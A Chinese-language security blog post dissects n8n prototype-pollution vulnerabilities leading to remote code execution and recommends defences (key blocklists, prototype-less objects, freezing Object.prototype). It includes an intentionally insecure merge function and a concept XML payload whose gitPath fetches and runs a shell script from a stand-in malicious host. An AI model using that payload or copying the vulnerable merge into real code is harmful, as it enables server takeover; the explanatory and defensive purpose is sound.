Back to all posts
Cybersecurity

原型污染重裝上陣:深入剖析 n8n 的五個 9.4 分 RCE 漏洞

如果你在構建 Node.js 應用程序,我需要你停下手中的一切,密切關注。2026 年 5 月 22 日,新加坡網絡安全局 (CSA) 和全球安全研究小組向流行的開源工作流自動化平台 n8n 的用戶發布了緊急公告。

n8n 緊急推出了安全補丁,解決了五個嚴重的漏洞,這些漏洞帶有驚人的 CVSS v4.0 評分 9.4(包括 CVE-2026-42231、CVE-2026-42232 和 CVE-2026-44789)。這些安全漏洞集中在一個經典的、持續存在的且高度危險的 Node.js 漏洞向量上:原型污染 (Prototype Pollution)。當鏈接在一起時,攻擊者可以觸發遠程代碼執行 (RCE) 或在託管服務器上進行任意系統文件讀取。

我花了一個上午剖析這些補丁。讓我們揭開 JavaScript 原型污染機制的神秘面紗,重構 n8n 的 XML 解析器節點如何允許這種污染級聯到系統級 RCE,並看看我推薦的編程模式,以消除您自己的 Node.js Web 應用程序中的這些向量。


理解原型污染

要了解 n8n 是如何成為受害者的,我們首先必須了解 JavaScript 原型繼承的獨特設計。

在 JavaScript 中,對象從原型對象繼承屬性和方法。如果創建一個簡單的對象 const dev = { name: "Elvis" },它隱式地繼承自 Object.prototype。

如果應用程序在沒有嚴格的鍵驗證的情況下,遞歸地將用戶控制的 JSON 或 XML 負載合併或解析到對象中,攻擊者可以傳遞包含特殊魔法鍵 __proto__ 的負載。

易受攻擊的模式:

讓我們看一個經典的易受攻擊的對象合併實用程序:

// 一個經典遞歸合併,這是一場徹底的安全災難
function insecureMerge(target, source) {
  for (let key in source) {
    if (typeof target[key] === 'object' && typeof source[key] === 'object') {
      insecureMerge(target[key], source[key]);
    } else {
      // 直接賦值允許 __proto__ 屬性注入
      target[key] = source[key];
    }
  }
  return target;
}

// 作為 JSON 傳遞的攻擊負載
const attackerPayload = JSON.parse('{"__proto__": {"isAdmin": true}}');
const userSession = {};

insecureMerge(userSession, attackerPayload);

// 現在,在此 Node.js 進程中創建的每個對象都繼承了 'isAdmin' 屬性!
const normalUser = {};
console.log(normalUser.isAdmin); // 輸出:true!(你的原型已被成功污染)

通過污染 Object.prototype,攻擊者可以在整個運行時環境中全局注入屬性。


重構 n8n RCE 鏈

n8n 漏洞套件強調了簡單的原型污染如何被用來破壞完整的應用服務器。

                  [ 攻擊者惡意 XML / JSON 負載 ]
                                      │
                                      ▼
               [ n8n Webhook / XML / HTTP 請求解析器 ]
                    (易受攻擊的 xml2js 庫解析了 __proto__)
                                      │
                                      ▼
                      [ Object.prototype 被污染 ]
                  (全局運行時屬性被操縱)
                                      │
                                      ▼
                        [ n8n Git 節點執行 ]
           (提取系統屬性:例如,gitPath / shell 命令)
                                      │
                                      ▼
                      [ 遠程代碼執行 (RCE) ]
                   (惡意 shell 命令在主機上運行)

透過 xml2js 注入 (CVE-2026-42231)

問題的根源在於 n8n 的 Webhook、XML 和 HTTP Request 節點中使用的解析庫。具體來說,XML 解析器節點使用流行的 xml2js 解析器處理 XML 負載。

由於未能過濾 constructor 和 prototype 等特殊鍵,攻擊者可以傳輸構造的 XML 負載來污染進程的基礎原型:

<!-- 透過 XML 的概念原型污染負載 -->
<root>
  <constructor>
    <prototype>
      <gitPath>/bin/sh -c "curl http://malicious.site/shell.sh | sh"</gitPath>
    </prototype>
  </constructor>
</root>

Git 節點中的 RCE 鏈 (CVE-2026-44790)

這裡就是鏈條變得致命的地方。n8n 具有一個 Git 節點,允許工作流克隆、提交和推送配置。執行 Git 節點時,它會引用內部路徑實用程序來查找本地系統的 git 可執行文件:

// 在易受攻擊的工作流執行邏輯內部
const execPath = options.gitPath || 'git'; // 如果 options.gitPath 未定義,它會檢查原型
child_process.exec(`${execPath} status`, ...);

在正常情況下,options.gitPath 是未定義的,因此系統默認為安全的 'git' 二進製文件。然而,因為攻擊者透過 XML 節點漏洞成功污染了 Object.prototype.gitPath,檢查 options.gitPath 返回了注入的惡意 shell 命令!

當 Git 節點運行 exec() 時,它執行了 shell 腳本,授予攻擊者對 n8n 主機系統的完全遠程 shell 控制權。


阻止魔法鍵

如果您正在開發 Node.js 或 JavaScript 後端 API,有三種主要的設計模式可以永久消除原型污染。

1. 在解析器中拒絕鍵名

在編寫自定義合併、複製或解析函數時,明確拒絕引用原型屬性的鍵:

// 顯式阻止列表以阻止 __proto__ 注入
const BLACKLIST = ['__proto__', 'constructor', 'prototype'];

function secureMerge(target, source) {
  for (let key in source) {
    if (BLACKLIST.includes(key)) continue; // 默默丟棄惡意鍵
    
    if (typeof target[key] === 'object' && typeof source[key] === 'object') {
      secureMerge(target[key], source[key]);
    } else {
      target[key] = source[key];
    }
  }
  return target;
}

2. 創建沒有原型的對象

創建鍵值查找表或配置存儲時,實例化沒有標準原型鏈的對象。使用 Object.create(null) 創建一個不繼承自 Object.prototype 的字典,使其免受全局污染查找:

// 一個完全空白的字典,沒有要污染的原型屬性
const dict = Object.create(null);
console.log(dict.toString); // undefined

專家提示:在生產環境中凍結原型

作為終極故障保護,您可以在應用程序的入口點凍結全局 Object.prototype。這可以防止在初始化後對核心原型進行任何修改:

// 凍結基線 Object 以中和所有原型污染嘗試
Object.freeze(Object.prototype);

結論

JavaScript 的靈活性是其最大的優勢,但如果你盲目信任傳入的 JSON/XML,原型繼承就是一個經典的“搬起石頭砸自己的腳”。清理您的解析樹,使用 Object.create(null),在生產環境中凍結您的全局原型,並立即更新您的 n8n 實例。


參考與官方來源